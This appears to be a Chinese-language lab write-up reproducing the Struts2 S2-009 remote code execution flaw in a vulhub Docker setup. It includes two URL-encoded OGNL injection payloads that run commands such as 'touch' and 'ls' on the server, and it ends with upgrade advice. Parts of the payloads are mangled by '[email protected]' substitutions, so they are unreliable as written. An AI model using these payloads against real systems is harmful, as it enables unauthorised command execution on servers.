S2-009 远程代码执行漏洞

影响版本

2.1.0 - 2.3.1.1

环境搭建

cd vulhub/struts2/s2-009

docker-compose build && docker-compose up -d

访问http://your-ip:8080/ajax/example5.action

http://yourIP:8080/ajax/example5.action

漏洞复现

http://yourIP:8080/ajax/example5.action?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

调用的是touch /tmp/success命令，查看/tmp目录发现已经成功：

访问url下载文件打开后可以查看目录

http://yourIP:8080/ajax/example5.action?(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

扫描二维码关注公众号，回复： 11398553 查看本文章

修复建议

升级到最新版